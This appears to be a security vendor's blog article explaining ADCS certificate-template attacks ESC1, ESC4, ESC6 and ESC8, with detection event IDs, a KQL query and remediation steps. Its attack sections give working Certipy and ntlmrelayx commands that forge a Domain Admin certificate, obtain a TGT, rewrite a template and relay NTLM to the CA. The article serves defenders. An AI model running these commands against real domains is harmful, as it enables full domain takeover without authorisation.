๐ŸขActive DirectoryADCSAttack PathsAdvanced

ADCS Certificate Attacks: How ESC1 to ESC8 Lead to Domain Admin

ADCS misconfigurations like ESC1, ESC4, ESC6, and ESC8 let any domain user forge certificates to authenticate as Domain Admin. Learn how these attacks work and how to fix them.

ES
EtcSec Security Team
6 min read
ADCS Certificate Attacks: How ESC1 to ESC8 Lead to Domain Admin

What Is ADCS and Why Does It Matter?

Active Directory Certificate Services (ADCS) is Microsoft's Public Key Infrastructure (PKI) implementation built into Windows Server. It issues digital certificates used for authentication, encryption, code signing, and smart card logon across the domain.

When properly configured, ADCS is invisible infrastructure. When misconfigured, it becomes one of the most powerful attack surfaces in Active Directory โ€” one that lets any domain user escalate to Domain Admin in minutes, forge authentication as any user including administrators, and persist through certificate-based backdoors that survive password resets.

The vulnerability classes are known as ESC1 through ESC13, catalogued by SpecterOps researchers in 2021. This article covers the four most commonly exploited: ESC1, ESC4, ESC6, and ESC8.


How It Works

ADCS issues certificates based on certificate templates โ€” configurations that define who can enroll, what the certificate can be used for, and what information it can contain.

The critical field is the Subject Alternative Name (SAN). A certificate with a SAN specifying a Domain Admin's UPN authenticates to Kerberos as that Domain Admin โ€” regardless of who requested it. If an attacker can request a certificate with an arbitrary SAN, they control authentication for any account in the domain.

The attack path:

  1. Find a vulnerable certificate template
  2. Request a certificate with a privileged account's UPN in the SAN
  3. Use the certificate to authenticate as that account and obtain a TGT
  4. Full domain access

The Attack Chain

ESC1 โ€” Vulnerable Certificate Template (San Abuse)

The most common and most critical ADCS vulnerability. A template is ESC1-vulnerable when:

  • Enrollment rights are granted to low-privileged users (Domain Users or Authenticated Users)
  • The template allows the requester to specify the SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • The template is enabled for client authentication
# Enumerate vulnerable templates with Certipy
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -vulnerable -stdout
# Request a certificate as Domain Admin via ESC1
certipy req -u [email protected] -p password -ca CORP-CA -template VulnerableTemplate \
    -upn [email protected] -dc-ip 10.10.0.1
# Authenticate with the certificate and get a TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.0.1

ESC4 โ€” Template ACL Abuse

The template itself has weak ACLs that allow a low-privileged user to modify its configuration. The attacker modifies the template to become ESC1-vulnerable, then exploits it.

# Check template ACLs
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -vulnerable

# Modify template to enable ESC1 conditions
certipy template -u [email protected] -p password -template VulnerableTemplate \
    -save-old -dc-ip 10.10.0.1

ESC6 โ€” EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

The CA itself has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, which allows SAN specification on any certificate request โ€” even templates that don't explicitly allow it. This makes every template in the CA potentially ESC1-vulnerable.

# Check if the CA has the flag enabled
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -stdout | grep -i "editf"

ESC8 โ€” HTTP Enrollment Relay

The CA's web enrollment interface (/certsrv) accepts NTLM authentication over HTTP without requiring HTTPS or extended protection. An attacker can relay NTLM authentication from a machine account to the CA and obtain a certificate for that machine โ€” which can then be used to retrieve the machine's NTLM hash via PKINIT.

# Set up relay to CA web enrollment
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template "Machine"

# Trigger NTLM auth from a target machine (e.g., via coerce)

Detection

ADCS attacks are difficult to detect without dedicated logging. Enable Certificate Services audit logging on the CA.

Windows Event IDs

Event IDSourceWhat to Look For
4886CACertificate requested โ€” watch for requests from unexpected accounts
4887CACertificate issued โ€” correlate requester with the SAN in the cert
4768DC - SecurityTGT requested using a certificate โ€” Certificate Issuer field populated
4769DC - SecurityService ticket requested after cert-based TGT

Behavioral Anomalies

  • Certificate requests where the SAN differs from the requester's UPN โ€” the clearest ESC1 indicator
  • Low-privileged accounts requesting certificates for admin UPNs
  • Sudden certificate-based Kerberos authentication from accounts that normally use password auth
  • Template modifications โ€” ESC4 leaves an audit trail in AD object change logs

Detection Query (Elastic KQL)

event.code: "4887" AND
winlog.event_data.RequesterName: (* AND NOT winlog.event_data.SubjectUserName)

๐Ÿ’ก Tip: Enable Audit Certification Services under Advanced Audit Policy. Without it, events 4886/4887 do not fire.


Remediation

โš ๏ธ Critical: ESC1 and ESC6 misconfigurations allow full domain compromise in under 5 minutes from any domain user account. Prioritize these immediately.

Fix ESC1 โ€” Remove Enrollee-Supplied SAN

# Open Certificate Templates MMC, find the vulnerable template
# Properties > Subject Name tab > uncheck "Supply in the request"
# Or via ADSI Edit on the template object:
# msPKI-Certificate-Name-Flag: remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

Alternatively, restrict enrollment to specific privileged groups rather than Domain Users.

Fix ESC4 โ€” Harden Template ACLs

# Audit template ACLs via Certipy or manually in Certificate Templates MMC
# Remove Write/FullControl permissions from non-admin accounts
# Only CA Admins and Enterprise Admins should have write access to templates

Fix ESC6 โ€” Remove EDITF Flag

# Run on the CA server
certutil -config "CA-Server\CA-Name" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Fix ESC8 โ€” Enforce HTTPS and EPA on Web Enrollment

  1. Configure SSL on the CA web enrollment site (IIS)
  2. Enable Extended Protection for Authentication (EPA) on the IIS application
  3. Require HTTPS in IIS bindings and remove HTTP
  4. Consider disabling web enrollment entirely if not required

How EtcSec Detects This

EtcSec performs a full ADCS audit on every scan, checking every certificate template and CA configuration against known ESC vulnerability patterns.

ESC1_VULNERABLE_TEMPLATE identifies certificate templates with enrollee-supplied SAN enabled and low-privileged enrollment rights โ€” the exact conditions for a full domain compromise via certificate abuse.

ESC4_VULNERABLE_TEMPLATE_ACL flags templates with overly permissive ACLs that allow non-admin accounts to modify template configurations.

ESC6_EDITF_FLAG checks every CA in your environment for the dangerous EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

ESC8_HTTP_ENROLLMENT detects CA web enrollment endpoints accessible over HTTP without extended protection.

โ„น๏ธ Note: EtcSec audits all certificate templates and CA configurations automatically. Run a free audit to discover ADCS vulnerabilities in your environment before attackers do.

Related articles: Golden Ticket Attack: The Keys to Your Kingdom

EtcSec

ยฉ 2026 EtcSec. All rights reserved.

ADCS Certificate Attacks: ESC1 to ESC8 Explained | EtcSec โ€” EtcSec Blog | EtcSec